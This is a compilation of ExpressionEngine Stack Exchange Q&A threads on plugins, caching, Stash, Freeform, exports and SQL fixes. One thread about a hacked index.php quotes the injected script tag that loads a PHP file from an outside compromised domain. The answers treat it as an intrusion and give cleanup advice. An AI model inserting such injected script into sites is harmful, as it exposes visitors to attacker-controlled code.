# Question
Title: CKEditor Plugin Shows In Wygwam Configurator But Is Hidden From Publish Page
Using Wygwam 3.3.2 and ExpressionEngine 2.9.0

I'm trying to get the Enhanced Image plugin (http://ckeditor.com/addon/image2) for ckeditor added to our Wygwam installation.

I have followed the instructions for adding ckeditor plugins to Wygwam to a tee: http://docs.pixelandtonic.com/wygwam/developers/ckeditor\_plugins.html. I have also made sure I've installed all of the proper dependencies for this particular plugin. For all plugins, I installed the latest versions that are compatible with ckeditor 4.3, which is what is still packaged with Wygwam.

In the Wygwam configurator I can see the plugin just fine and I can add it to my configuration. However, on the Publish page I am getting this error:

```
Uncaught TypeError: undefined is not a function plugin.js?t=E49C:3200
(anonymous function) plugin.js?t=E49C:3200
(anonymous function) plugin.js?t=E49C:3359
(anonymous function) plugin.js?t=E49C:3368

```

I can see the following code being output to the page correctly:

```
<script type="text/javascript">CKEDITOR.plugins.addExternal("clipboard", "http://gsp.kixo.co/themes/third_party/ckeditor_clipboard/");</script>
<script type="text/javascript">CKEDITOR.plugins.addExternal("dialogui", "http://gsp.kixo.co/themes/third_party/ckeditor_dialogui/");</script>
<script type="text/javascript">CKEDITOR.plugins.addExternal("dialog", "http://gsp.kixo.co/themes/third_party/ckeditor_dialog/");</script>
<script type="text/javascript">CKEDITOR.plugins.addExternal("image2", "http://gsp.kixo.co/themes/third_party/ckeditor_enhanced_image/");</script>
<script type="text/javascript">CKEDITOR.plugins.addExternal("lineutils", "http://gsp.kixo.co/themes/third_party/ckeditor_lineutils/");</script>
<script type="text/javascript">CKEDITOR.plugins.addExternal("widget", "http://gsp.kixo.co/themes/third_party/ckeditor_widget/");</script>
<script type="text/javascript">
    Wygwam.configs["3"] = {
        "skin": "wygwam3",
        "toolbarCanCollapse": false,
        "dialog_backgroundCoverOpacity": 0,
        "entities_processNumerical": true,
        "forcePasteAsPlainText": true,
        "toolbar": [["Bold","Italic","Underline"],["NumberedList","BulletedList"],["Subscript","Superscript"],["Link","Unlink"],["Image2"],["HorizontalRule"],["Styles"],["Source"],["Maximize"]],
        "height": "200",
        "resize_enabled": true,
        "contentsCss": ["\/assets\/css\/ckeditor.css"],
        "language": "en",
        "autoGrow_minHeight": "200",
        "extraPlugins": "wygwam,readmore,stylesheetparser,clipboard,dialogui,dialog,image2,lineutils,widget",
        "filebrowserBrowseFunc": function(params) { Wygwam.loadAssetsSheet(params, "ee:9", "any"); },
        "filebrowserImageBrowseFunc": function(params) { Wygwam.loadAssetsSheet(params, "ee:9", "image"); },
        "filebrowserFlashBrowseFunc": function(params) { Wygwam.loadAssetsSheet(params, "ee:9", "flash"); },
        "link_types": {"Site Page":[{"label":"Albums",          "url":"http:\/\/gsp.kixo.co\/albums"},{"label":"Engagement",            "url":"http:\/\/gsp.kixo.co\/portfolio\/engagement"},{"label":"Home",           "url":"http:\/\/gsp.kixo.co\/"},{"label":"Photo",           "url":"http:\/\/gsp.kixo.co\/photo"},{"label":"Portfolio",          "url":"http:\/\/gsp.kixo.co\/portfolio"},{"label":"Video",          "url":"http:\/\/gsp.kixo.co\/portfolio\/video"},{"label":"Wedding",             "url":"http:\/\/gsp.kixo.co\/portfolio\/wedding"}]}
    };
</script>

```

You can see that **image2** (the Enhanced Plugin that we're trying to get working) is being loaded and is present in the extraPlugins configuration array and is also present in the toolbar configuration array. I'm really not sure what could be going wrong.

Why does my plugin show up in the Wygwam configurator but not on the Publish page?

# Answer
The plugin lists Widget, Line Utilities, Dialog, and Clipboard as dependencies, but it looks like `lineutils` and `widget` are both getting added *after* `image2`. I’m betting that’s your problem. If you click on the filename next to the error in your browser’s console, it should take you to the line in the file that is causing the JS error, which might provide additional context (assuming it’s not compressed).
> 1 votes

---
Tags: wygwam, ckeditor
---


# Question
Title: Hacked? Modified index.php contains Akismet code with strange URL
Does anyone know or have any info on EE's index.php having Akismet plugin code in it?

I logged into one of my EE installations today and was greeted by the message:

```
"One or more core files have been altered: <ee/install/path>/index.php"

```

There is a line being injected into the bottom of my pages:

```
</html><script type="text/javascript" src="http://pfadfinder-fallingbostel.de/kjfdqhrp.php?id=7477523"></script>

```

The script line is at the bottom of a lot of Akismet code in my index.php file that I cannot seem to find in any of my other EE installations running Freeform as well.

Details: EE v.2.8.1, Freeform v.4.1.5, cPanel Hosting (WHM WHM 11.44.1 (build 18) - CENTOS 6.5 x86\_64), No other no-spam software installed.

Screenshot for start and stop of Akismet code in index.php:

# Answer
> 2 votes
I don't know ee add-ons which will modify index.php, so this is wrong code in any case. Only question how it was done. EE hack I can put on the last place - I can't say that ee is 100% protected, but it is happens soo rare and not like this.

Usually users lost they ftp/sftp login/pass. So change your pass. Also make sure that you have last server update. Do you have any other sites on the same server? pfadfinder-fallingbostel.de - is it your site? Some times hack can be done using other, less protected sites on the same server. Or even other sites on the same server can add this info by mistaken (once customer setup wrong path in Wordpress, targeted folder with EE on the same server).

# Answer
> 1 votes
Absolutely without doubt a hack. I don't know for sure but I'm 99.99% certain that no add-on will change your index.php file.

Looking at what I can see from your image my guess is that this is actually targeted at Wordpress sites and trying to pass itself off as the Akismet plugin.

As Max says, it's most likely down to some other site running on the same server presenting a hole into which the attacker can get access and scour the server for index.php files to inject code.

Notify your host, noting the date and time that the file was altered. It may also be worth notifying the owner of pfadfinder-fallinghostel that their site has been compromised (the script residing there tries to redirect to another URL which, when I tested it, was unavailable).

Obviously, replace your index.php file with a clean one and check file permissions. You may also want to have a look round your site for any further additions (including within your htaccess file).

---
Tags: solspace-freeform
---


# Question
Title: Hi all, The matrix ee extension returns only one row
Ok here is the tag:

```
{exp:channel:entries dynamic="no"}
    {download_listing  sort="desc"}
          <ul>
            <p>
              <button data-toggle="modal" href="#myModal" class="btn-small pull-left" onclick="location.href='#';">{title} </button>
            </p>
            <div class="modal" id="myModal">
              <div class="modal-dialog">
                <div class="modal-content">
                  <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                    <h4 class="modal-title">{row_id} {row_count} of {total_rows}: {title} </h4>
                  </div>
                  <div class="modal-body"> <img src="{listing_image}" alt="" class="pull-left">
                    <p>{row_id} {listing_describtion} </p>
                  </div>
                  <div class="modal-footer"> <a href="#" data-dismiss="modal" class="btn">Close</a> <a href="{listing_doc}" target=“_blank” class="btn btn-primary">Download PDF</a> </div>
                </div>
              </div>
            </div>
          </ul>
    {/download_listing}
{/exp:channel:entries}

```

and here is the link:

http://boardmans.happytesting.co.uk/download

Sa you can see i am getting the name on each buttons correct but when you click on each button the data inside; i mean the second title; listing\_image and listing\_describtion tags are being repeated. Could anyone help here because it doesn't make any sense for me any more.. Thank you Regards

# Answer
> 2 votes
I think the problem isn't with Matrix but to do with your IDs. Your hrefs are all linking to #myModal, which in itself isn't an issue, however you have 4 divs with an ID of myModal so it is always linking to the first instance. Try adding the row\_id to the end of these IDs, both the div ID and button href, I think this should sort you out.

---
Tags: matrix
---


# Question
Title: using encoding plugin in message template Solspace friends throws error, hope for a solution
When using this plugin http://devot-ee.com/add-ons/basee64 inside a Solspace Friends Message Template I get PHP errors

```
A PHP Error was encountered
Severity: Notice

Message: Undefined property: EE::$TMPL

Filename: basee64/pi.basee64.php

Line Number: 36

and

---
Message: Trying to get property of non-object

Filename: basee64/pi.basee64.php
---

```

What I try to do is to encode the username in the message. So, when clicking the link, the encoded username must be decoded in the redirect/return/ template. (The plugin works OK in this Template on its own)

The message IS send allright, but the plugin fails. Probably a parse order? I hope someone reacts with an idea how to make this work.

Code in my Solspace friends Message Template where I create the encoded return URL:

```
{path="redirect/return/"}/{friends_message_id}/{exp:basee64:encode parse="inward"}{friends_recipient_username}{/exp:basee64:encode}

```

# Answer
> 0 votes
Friends notification templates have certain limitations, and except for a few very early parsed variables (eg. segments) and embeds, EE tags, which include 3rd-party tags, do not parse in these special templates (EE code in embeds also don't parse). What parses are the Friends variables available in the notification, and described in the documentation.

---
Tags: solspace, solspace-friends, encryption
---


# Question
Title: Solspace Importer - How to update playa field without overwriting
I'm trying to update lots of parent entries in channel with new zoo visitor members using Importer.

I've finally worked out how to import the members using Solspace Importer, then used Datagrab to populate the Zoo visitor channel and create the entries.

Now I want to use Importer to link them to the correct Playa parent categories. However, I can't seem to do this without overwriting (and hence erasing) the original playa field content...

So basically what's happening is any new entry (member) I try and add to the parent channel entry, just overwrites all the existing members that are children of that entry. I just want to add them to the parent as another child entry as opposed to overwrite the whole lot.

How can I go about doing this?

Any help would be much appreciated.

Thanks

# Answer
This is unfortunately not possible. Playa remains a single field, and Importer can either add new data to the field for new entries, or update the field when updating pre-existing entries.

When updating one field, it's an all-or-nothing update: for example if you had an input field with "foo", and you provide "bar" in an import to update the field, the field will now contain "bar", not "foobar". The same thing happens with a Playa field. You would need to provide the old ("up-to-now") data along with your new data, and update the field with all of that data. (With the "foobar" example, you would need to provide "foobar")
> 0 votes

---
Tags: solspace, zoo-visitor, datagrab, solspace-importer
---


# Question
Title: With the hook entry_submission_end, is it possible to know if the entry is inserted or updated?
I'm working on an extension that indexes the content of the entry when publish form is submitted, but I need to know if the entry is a new one or an updated one, and in both case, I need the entry\_id (the new one juste created or the old one).

Do you know a way to do that? Should I use an other hook?

--Solution--

In fact, entry\_submission\_end come with 3 parameters: entry\_id, meta and data. If the entry is a new one, entry\_id contains the new entry\_id but $data\['entry\_id'\] is 0, so you can have a condition on that to check if you are editing or creating an entry.

# Answer
I usually check if entry\_id = 0 (for new entry)

```
$this->EE->input->get_post('entry_id') == 0

```
> 2 votes

# Answer
You can compare `$meta['edit_date']` with `$meta['entry_date']`.

You will need to bring both dates to same format of course, as entry\_date contains current timestamp, while edit\_date is formatted as '%Y%m%d%H%i%s'
> 2 votes

# Answer
If anyone is looking for an answer here still then there is a simple test.

Along with the post data will be a value for entry\_id, this is related to the originating entry id. So if this value is 0 then it is a new entry, if this value is \> 0 then it is an update to an existing entry.

eg,

if ($\_REQUEST\['entry\_id'\] === 0) { // new post } else { // existing post }
> 0 votes

---
Tags: add-on-development, extension, hook
---


# Question
Title: Express-store and payment method - replace Authorize.net option label name
How can I replace Authorize.net payment method option name from 'Authorize.net AIM' to 'Credit Card'?

I see situations where customers during the checkout process are confused with that not common for them name of the payment gateway.

Also I'm looking towards name change somewhere in the settings/DB rather than jQuery string replace.

Thanks

# Answer
> 0 votes
I have found where it must be changed on the DB level: `exp_store_payment_methods` and a column named `title`

---
Tags: expresso-store, payment-gateway
---


# Question
Title: DevDemon FORMS 3.4.12 Coupons Field Security issue
Has anyone come across with the COUPONS field within DevDemon Forms 3.4.12 and it's security implications with regards to disclosing the *codes* along with the discounts within the HTML source code to the end-user?

{"DEPOSIT":{"label":"DEPOSIT 40%","code":"DEPOSIT","discount":"60%","limit":""}}

As implemented anyone would be able to see and effectively apply the discounts they want!!

If anyone here had changed the code as to 'APPLY' the COUPON and recalculate based on an AJAX request or Server Side check, please let us know!!

Regards

# Answer
Forms coupon system is very basic and currently is not encoded. There is no security risk, but if you want to hide your deals, I recommend using something like Store instead. We will look at possibly encoding it for future versions. If this is something you need quickly, just send us an email.
> 0 votes

---
Tags: forms, devdemon, devdemon-forms
---


title: Export Zoo Members channel data

text:
# Question
Title: Export Zoo Members channel data
Does anyone know of an easy way to export the Zoo members data.

I am having a play with ajw\_export but I have a feeling it isn't going to quite do what I need.

This is what I need from the export

```
Name         [standard member data]
Email        [standard member data]

Business     [zoo member data - checkbox]
Education    [zoo member data - checkbox]
Fund         [zoo member data - checkbox]
Newsletter   [zoo member data - checkbox]

```

With ajw.export I've got the following query

```
{exp:ajw_export
  sql="SELECT member_id, screen_name, email FROM exp_members"
  format="csv"
  delimter=":"
}

```

This is fine, returns the id/name/email address, but the zoo members data isn't stored in the members table. So I need to get field\_id\_55, field\_id\_56, field\_id\_115 and field\_id\_118 from channel\_data.

Any ideas?

Thanks Dave

# Answer
> 1 votes
Just looked at the database of one of my sites running Zoo Visitor. You're going to have to pull and link data from exp\_members (to get the member ID), exp\_channel\_titles (to link the member ID with the author ID), and exp\_channel\_data (to get the rest of the data you want)

**Please note that i'm not a database expert!**

That said, try something like this:

```
SELECT m.member_id, m.screen_name, m.email, d.field_id_55, d.field_id_56, d.field_id_115, d.field_id_118
FROM exp_members m, exp_channel_titles t, exp_channel_data d
where m.member_id = t.author_id and t.entry_id = d.entry_id

```

---
Tags: members, zoo-visitor, export
---


title: Low Yearly Archives inside dynamo form?

text:
# Question
Title: Low Yearly Archives inside dynamo form?
It's all good on a refresh, but once the form is submitted, all goes wacky.

```
{exp:dynamo:form return="/events_keynote" search_id="{segment_2}"}

{exp:low_yearly_archives channel="public_events" end_year="2013" status="not closed" sort="desc"}
      {if year_count == 1}
      <div class="input-group margin-bottom-20">
        <select name="year" class="form-control">
          <option value="">Year</option>
            <option value="">All Years</option>
          {/if}
          <option value="{year}">{year}</option>
          {if year_count == total_years}
          </select>
</div>
      {/if}
      {/exp:low_yearly_archives}

{/exp:dynamo:form}

```

After a submit, all the yearly option values become blank. I have tried parse inward, dynamic=no, etc.... nothing will seem to make it work.

Is there something I am doing wrong or are these two plugins just simply incompatible? If so, it really unfortunate.

Please help!

Mike

# Answer
> 0 votes
The two add-ons aren't compatible, but you might have more luck using Mo’ Variables, which gives you the variable `{post:year}` to work with, amongst others.

---
Tags: low-yearly-archives
---


title: Custom Plugin Won't Work

text:
# Question
Title: Custom Plugin Won't Work
I'm trying to create a class in EE, but for some reason it just won't work for me. I've even went as far as making it as easy as possible, but I always get:

The following tag has a syntax error:

{exp:my\_class\_name:testfunction}

Please correct the syntax in your template.

Here's the simple class:

```
class My_class_name {

    public $return_data;

    public function __construct(){
        $this->EE =& get_instance();
    }

    public static function usage(){
        ob_start();
        ?>
        Coming Soon, this is just filler for now.
        <?php
        $buffer = ob_get_contents();
        ob_end_clean();
        return $buffer;
    }

    public function testfunction(){
        $this->return_data = ee()->TMPL->tagdata;
    }

}

```

and usage:

```
    {exp:my_class_name:testfunction}
    hey
    {/exp:my_class_name:testfunction}

```

# Answer
Your plugin class method needs to **return the (parsed) tagdata** instead of setting the `$this->return_data` property. The latter is only needed if the class constructor is used for template output. So:

```
public function testfunction()
{
    return ee()->TMPL->tagdata;
}

```
> 3 votes

---
Tags: plugin, custom-classes
---


# Question
Title: Caching methods discussed : search for the ‘holy grail’…
Good morning everyone,

no question with a direct answer here but looking for what you believe to be the best mix of real time vs caching. A few scenario’s that i would like to have your vision, just to see how different people approach problems from different sides and learn from each other.

**PLAIN JANE SITE**:
A basic website without login dynamic content items. Beside the homepage there are 4 or 5 separate templates. Editors will make a few changes a week but they do receive about 4000 visitors a day on the site.

**BASIC E-COMMERCE**:
A site with about 100 products online separated into a few item categories. Beside the homepage, product overview, product detail page there are about 6 to 8 other templates, not coating the ones needed for cart view and checkout process.

The product overview pages don’t show stock information and have no ability for sorting or filtering to decrease server load. In the header the client has an indictor to see if he’s logged in and how many items are in his cart. This information is dynamic for each visitor.

**ADVANCED E-COMMERCE**:
Same setup as the basic e-commerce system but with the added complexity of filtering on the product overview page. Filters generate addition urls. This means that 3 main product overview pages can easily create 1500 separate URL’s with combinations of all the filters.

Knowing ExpressionEngine and the native caching abilities, wanting to use a DRY approach while developing your templates and having the freedom to use add-on like stash and ce\_cache. How would you approach these project in terms of template setup, technology choices and caching?

I’ll make a post below describing my setup, choices, pro’s and con’s.

Greets, Bas van Ginkel

# Answer
> 0 votes
My own approach varies depending on project and the state of technology. After the introduction of layouts in ExpressionEngine I noticed i really liked using that since it made my template structure clearer and more readable. It also enabled me to work as DRY as possible.

My basic setup always includes structure since that enables me to offer my clients an interface they can easily understand. The core of all my templates always reside in a \_structure.group folder. For structure entries I refer to the templates in that group directly. For things like the homepage or other static items that live outside my structure structure I create a homepage.group and from the index.html in that group I embed the correct file stored in the \_structure.group.

Recently, and that inspired me to write this post, i’ve been feeling myself getting pushed into a corner when using the layouts method and having the need for caching. I like fine grained control, a want a cache to live forever until I tell the system to break it.

So what i’ll almost always do is to use ce\_cache to cache the largest part of the page as possible and include tags referring to the entry\_id of all the items included on that page. So for example a blog post page with in the side column a list of other blog entries. What i’ll do is to use ce\_cache and tag the main entry with it’s entry\_id and also the entry\_ids of the items in the side column. I’ll also include a tag like blog\_side\_column in their. Then when someone makes a change to any blog item i’m able, with ce\_cache breaking, to only break those pages where that blog item is used.

**PLAIN JANE SITE**
I’ll probably first use my default method of using the layouts method including ce\_cache. Problem with that is the fact that I can’t seem to figure out how to cache the layout:set items and can’t wrap the entire template since the {layout=“xxxx”} needs to be the first one on the page.

Since this is a small installation I would be inclined to move the actual template info a separate file (\_embed.group/blog.html) and use the ce\_cache tag around an embed function in (\_structure.group/blog.html) to enable full page caching. But I don’t believe this is a very acceptable way of doing things. ;)

**BASIC E-COMMERCE**
As using the approach mentioned above would destroy the visitor dynamic information in the header bar I would be inclined to let go of the advantages the layouts method provides. By going back to regular embed’s and snippets I can maintain a reasonably DRY work method while greatly advancing the methods I can use from ce\_cache.

**ADVANCED E-COMMERCE**
Same as above with some additions. Since the product items used on the product overview page will be visible on a lot of pages I will probably try and use ce\_cache to cache those bit globally. That way once generated for one page it gets reusable whenever that product is needed again.

The problem with all those filter pages is that caching is only effective if the client doesn’t change to much. When the client add’s a new product it should show up as soon as possible. So either it need be rendered real time of the cache for those pages needs to be broken when that happens.

For a few recent projects I used http://devot-ee.com/add-ons/reefine to enable the filtering on the site. My client tend to have a requirement that a unique url is available for any filter so they can use that in their marketing efforts.

I do confess that this last scenario is the one i’m most intressted in since that’s been causing me the biggest head aches over the last few months, so i’m looking forward on how your approach would be and discussing on why you think this or that.

greets, Bas van Ginkel

---
Tags: cache, ce-cache, bestpractice, dry
---


# Question
Title: Automatic Events Notification with Calendar?
I am trying to achieve the following, according to a clients requirements:

Include Events happening around the year, each member should be notified automatically of the event before hand according to the time we set.

Is it possible to setup a calendar in which admin can add events and allow members to register for specific events and be notified automatically x number of days before the events ?

Can PostMaster Addon along with Low Events be used for such a setup ?

Is it possible to achieve the above with Native EE functionality.

# Answer
It is not possible to achieve this with Native EE functionality.

With the Postmaster addon you can send **"Post-dated"** emails (see step 4). It also offers a **comprehensive API** so you can build what you need if the default functionality won't do the trick.
> 1 votes

# Answer
How about a cron job?

There is a 1st party add-on here: https://github.com/EllisLab/Cron-Email/blob/master/cron\_email/pi.cron\_email.php

Or commercial add-on: http://devot-ee.com/add-ons/automatee

Though not sure how that would work with a specific date off the top of my head, but theoretically, can it not email a group of people by passing date variables into the parameters once an entry is created or something?
> 1 votes

# Answer
The **Scheduled trigger** *(free)* add-on allows you to trigger a hook when an entry rolls over the expiration\_date (expires) or when it rolls into the entry\_date (becomes active).

This way you can trigger a email via another add-on like **mx\_notify** or **postmaster**.
Also the scheduled-trigger add-on is smart enough to update the schedule when you update the expiration or entry\_date.
> 0 votes

---
Tags: email, notification, calendar
---


# Question
Title: combining two sets of custom field groups
Ive have a site running for a while with two channels each with there own custom field group.

I now find that I need to be able to clone entries from each channel using mx cloner but because each channel has a different field group I cannot assign the new cloned entry to the other channel.

Each channel have 24 fields and approx 100 entries so I don't want to have to create a new shared field group and remake 200 odd entries.

I there a way to combine the two custom field groups into one group?

# Answer
> 1 votes
Yes, it is possible. You just need to change field groups association in table exp\_channel\_fields. Make you db backup then run next code (u can even use SQL Manager from CP)

```
UPDATE exp_channel_fields SET group_id = X WHERE group_id = Y

```

After that you just need to update field group for second channel. You can do this manually or run next query

```
UPDATE exp_channels SET field_group = X WHERE field_group = Y

```

And possible you will need to reset publish page layout.

---
Tags: custom-fields, fields
---


title: Hook into the channel entry display

text:
# Question
Title: Hook into the channel entry display
If I have channel tags in my template that look like this, is there an available hook to always run before the /exp:channel:entries?

I need to have something put at the bottom of every entry displayed without putting in a plugin tag into the template.

Is this at all possible?

```
{exp:channel:entries channel="news" limit="3" disable="categories|member_data|category_fields|pagination"}

//do plugin stuff here without loading the tag.
{/exp:channel:entries}

```

# Answer
Yes, you can. Check Channel Module Extension Hooks You possible need

> **channel\_entries\_tagdata**($tagdata, $row, $this)
>
> Modify the tagdata for the channel entries before anything else is parsed.
> 2 votes

---
Tags: plugin
---


title: Javascript not loading in control panel

text:
# Question
Title: Javascript not loading in control panel
I have a site running EE2.9.0 using Focus labs config set-up.

I am getting javascript errors in the control panel which are stopping Matrix and some other fields from working.

```
http://domain/admin.php?S=0&D=cp&C=javascript&M=combo_load&ui=core,widget,mouse,position,sortable,dialog&plugin=ee_interact.event,ee_broadcast.event,ee_notice,ee_txtarea,tablesorter,ee_toggle_all,ee_navigation&file=json2,underscore,cp/global_start&v=1409223534

http://domain/admin.php?S=0&D=cp&C=javascript&M=load&file=ext_scripts

http://domain/admin.php?S=0&D=cp&C=javascript&M=combo_load&ui=datepicker,resizable,draggable,droppable&plugin=ee_url_title,tmpl,ee_table,ee_filebrowser,ee_fileuploader,markitup,toolbox.expose,overlay&file=cp/publish,cp/category_editor,cp/date,files/publish_fields,cp/publish_tabs,cp/publish_admin&v=1409223533

```

These are returning 500 Internal Server Errors in the inspector in Chrome. I am getting the same in Firefox.

It is all working fine locally and on a staging server so I guess it's something server related but I'm struggling to pin it down.

I've tried stripping everything out of htaccess but that didn't seem to help. I've also tried various combinations of trailing slashes/no trailing slashes on theme\_folder\_path and theme\_folder\_url.

# Answer
> 0 votes
I'm not sure this is the issue, but I do know that the session library is no longer called in cp\_jd\_end and messed up a few extensions I built when I upgraded to 2.9.0. Check to make sure there are no session references in any add-ons using the JS hook. If there are, load the session library by calling `$this->EE->load->library('session');`

---
Tags: matrix, control-panel, error, jquery, javascript
---


title: Alternative to Backspace Parameter

text:
# Question
Title: Alternative to Backspace Parameter
I asked this question some time back and it worked, however I don't see the backspace parameter listed in the docs now, nor do I see in the change log that it was removed. I tried it anyway and it doesn't work. Is there another way to remove the last comma from a list of tags? Thanks

# Answer
> 0 votes
`backspace=""` also takes newlines and extra spaces into account. So if you have

```
{exp:tag:tags backspace="2"}
   {tag_name},

{/exp:tag:tags}

```

...this will remove the last two linebreaks, leaving the last comma intact. Instead try removing these non-printing characters:

```
{exp:tag:tags backspace="2"}{tag_name}, {/exp:tag:tags}

```

This can happen not only with Tag, but with other add-on and native EE tags as well.

---
Tags: solspace-tag, parameters
---


title: Postmaster Hook Errors

text:
# Question
Title: Postmaster Hook Errors
I am using postmaster 1.5.0 on 2.9.0 EE and with a hook installed at the end of a store purchase, and I want to trigger an email. But....

When I submit the order via store, I get the following errors:

```
A PHP Error was encountered
Severity: Warning
Message: array_merge(): Argument #2 is not an array
Filename: libraries/Postmaster_base_api.php
Line Number: 184
A PHP Error was encountered
Severity: Warning
Message: Invalid argument supplied for foreach()
Filename: drivers/Channel_data_utility.php
Line Number: 37
A PHP Error was encountered
Severity: Warning
Message: Cannot modify header information - headers already sent by (output started at /public_html/admin/codeigniter/system/core/Exceptions.php:170)
Filename: libraries/Functions.php
Line Number: 446

```

Any ideas what might be causing this, or is there a bug in the hooks postmaster version with EE?

# Answer
Postmaster Store hook is only for Store 1, thus the problem.
> 0 votes

---
Tags: postmaster
---


title: images not showing on the templates

text:
# Question
Title: images not showing on the templates
I would really appreciate it if someone can help me solve this weird problem that I have with expressionengine. Probably the problem is with the templates in particular, but I’m not sure.

The images that I have linked to the CSS are not showing on the page when I try to view a single template. I get images thumbnails instead. The CSS looks perfectly fine, but the images are not showing at all although I made sure that the link to the images folder on the server is correct.

Any idea what might be causing this problem?

# Answer
> 0 votes
> "The CSS looks perfectly fine".

But it isn't. If it was then the images would load. EE won't have any influence over whether the images load or not.

It is most likely a problem with how the image path is referenced from the page you are viewing. Are you using relative or absolute URLs? I find it helpful to create all image paths relative to the site root rather than the url being viewed.

So instead of perhaps "../../images/myimage.jpg" I would use "/images/myimage.jpg". Then it doesn't matter where in the site you are, you will always have a correct path.

You need to include template code, your css, and ideally a link to a page where the images aren't loading. Otherwise this is all guesswork.

---
Tags: css, ee
---


# Question
Title: Output EE template tags in a channel entry field?
I have a form I've created using DevDemon's 'Forms' module. To embed the form, it looks like I need to use `{exp:forms:form form_name="my_survey"}`.

I want to embed this form into a blog post on the Blog channel we have. So I added the tag in to the body of the blog post field (a rich text field).

It seems EE just outputs the string {exp:forms:form form\_name="outlook\_survey"} rather than actually parsing the tags. Any way around this?

# Answer
> 2 votes
> Allows ExpressionEngine code to be used in entries and then parsed in the template. Currently, you cannot put EE tags into an entry/post and have them rendered in the template. Instead, the code itself will just display, unprocessed. This plugin makes it so any EE tags in an entry will actually be parsed and have results outputted.

Allow EE Code by EllisLab

---
Tags: templates, tags, devdemon-forms
---


# Question
Title: Set Session Timeout on Front End of site
I'm currently working on a site with a small members only section. My client would like to limit session length to 15 minutes. The time limit is for the front end of the site NOT the cp.

Is this possible and if so how?

# Answer
> 1 votes
You can try Stay Up Forever

It call "Forever", but based on code you can setup any session timeout in extension settings (for cpanel or/and user)

---
Tags: sessions, cookies
---


title: CartThrob payment issue

text:
# Question
Title: CartThrob payment issue
On a client site which was working fine until recently we are now hitting an issue where an error is being returned before sending the user to our payment gateway:

> Problem with the SSL CA cert (path? access rights?) (77)

Any thoughts on the root cause of this issue and how might be able to resolve? The payment gateway we are using in this instance is SagePay (offsite).

Cheers

Cole

# Answer
The most simple solution in case like this:

**Reboot the server.**
> 2 votes

---
Tags: cartthrob, payment-gateway, subscriptions
---


# Question
Title: Freeform - view submission on frontend based on GUID
I need to do the following.

A user completes a form and is emailed a url with a GUID on the end. When the user clicks the link they are taken to the site and can view their submission.

www.mybeltingsite.com/90c202f2-302b-4d8b-bf06-2ffdb706532d

I'd like to do something like

```
{exp:freeform:entries entry_id="{last_segment}" }
  {!-- Stuff  --}
{/exp:freeform:entries}

```

or

```
{exp:freeform:entries my_form_custom_field="{last_segment}" }
  {!-- Stuff  --}
{/exp:freeform:entries}

```

Where the my\_form\_custom\_field is the GUID.

Any thoughts?

# Answer
> 2 votes
did you try to use parameter search:FIELD\_NAME=

```
{exp:freeform:entries search:my_form_custom_field="{last_segment}" }
  {!-- Stuff  --}
{/exp:freeform:entries}

```

---
Tags: solspace-freeform
---


# Question
Title: Appending more data to a layout variable
I'm using template layouts, and setting variables with the {layout:set} tag. Is there a way to append data to an already set variable?

# Answer
Unfortunately, for now, version 2.9, there isn't.

But I suggest you to ask EllisLab for it. I *guess* isn't that hard to implement, but they are possibly busy because of the EECI Conf.

This and an `output` parameter can be really useful.
> 2 votes

---
Tags: variable, template-layouts
---


title: Stash, Conditionals, and a Custom Field

text:
# Question
Title: Stash, Conditionals, and a Custom Field
New to Stash and here is what I'm trying to accomplish. But so far, no such luck.

I have two templates - manage-social-media.html and .layout-account.html

Manage-social-media.html Here I am gathering all of my content to pass to the layout-account template. I am using Zoo Visitor, and I have a custom field for “Permissions” (cf\_member\_firm\_permissions) that I’d like to check to see if they can edit their content, or view only. So the custom field (Fieldpack - Dropdown) looks like this:

... : Select One read-only : Read Only editor : Editor

What I want to do is test that variable to see what it is, then set some stash variables accordingly. Mainly, if they are read-only, I’d like to do the following:

Set Stash variable for: “Read Only Message” - To tell them why they are unable to edit, and who they can contact. Set Stash variable for: “Disalbe form” - I was thinking that I would just add the stash variable (i.e. “disable” to the form fields so they could read them but not edit. Any other suggestions?

So I got the value for {cf\_member\_firm\_permissions} by doing the following:

```
{exp:zoo_visitor:details}
    {cf_member_firm_permissions}
{/exp:zoo_visitor:details}

```

From there, I can’t get it to work. I’ve tried wrapping the above in a “stash”, wrapping the above around a “stash”, using a switchee statement to test the value of {cf\_member\_firm\_permissions}, using a switchee statement to test the value of stash:user\_permissions (after I’ve set it). I can’t get anything to do what I want.

Of course, all of the above is set within a stash variable “main\_content” which is pulled into the layout template.

Here is some of the code that I've tried:

```
{exp:zoo_visitor:details}
    {exp:switchee variable="{cf_member_firm_permissions}" parse="inward"}
        {case value="read-only"}
        <h3>Hello Reader Permissions</h3>
        {exp:stash:set name="permissions"} disabled{/exp:stash:set}

        {/case}

        {case value="editor"}
        <h3>Hello Editor Permissions</h3>
        {/case}
    {/exp:switchee}
{/exp:zoo_visitor:details}

```

It displays "Hello Reader Permissions", but won't display anything else.

# Answer
> 0 votes
Here is what I ended up doing

```
{exp:zoo_visitor:details}
     {exp:stash:set name="permissions"}{cf_member_firm_permissions}{/exp:stash:set}
{/exp:zoo_visitor:details}

```

Then this is below

```
{exp:stash:main_content}
    {exp:switchee variable="stash:permissions" parse="inward"}
       {case value="editor"}
         Do this....
         My editable form
       {/case}
       {case value="read-only"}
         Do this....
         My read-only form
       {/case}
    {/exp:switchee}
{/exp:stash:main_content}

```

Everything seems to be working with this set up.

# Answer
> 0 votes
If you're setting and getting in the same template, I think you need `{exp:stash:parse}`.

---
Tags: stash, conditionals
---


title: Stash cacheing a large nav

text:
# Question
Title: Stash cacheing a large nav
I have a site with a large megamenu which is made up of the following types of code:

**Setting category lists**

```
{exp:stash:set_list
    name="product_categories"
    parse_tags="yes"
    save="yes"
    scope="site"
    refresh="1440"
    replace="no"
}
    {exp:gwcode_categories
        group_id="1|3|4|5|6"
        excl_cat_id="35|36|51|56|60|23|27|46|47|63|40|42|44|45|53|59|62|66|69"
        depth="1|2"
        parse="inward"
        style="linear"
    }
        {stash:cat_id}{cat_id}{/stash:cat_id}
        {stash:cat_depth}{depth}{/stash:cat_depth}
        {stash:parent_id}{parent_id}{/stash:parent_id}
        {stash:group_id}{cat_group_id}{/stash:group_id}
        {stash:cat_name}{cat_name}{/stash:cat_name}
        {stash:cat_url_title}{cat_url_title}{/stash:cat_url_title}
        {stash:complete_path}{complete_path}{/stash:complete_path}
        {stash:cat_image}{cat_image}{/stash:cat_image}
    {/exp:gwcode_categories}
{/exp:stash:set_list}

```

**Getting the lists**

```
{exp:query sql="SELECT COUNT(entry_id) num_cat_entries
    FROM
    (
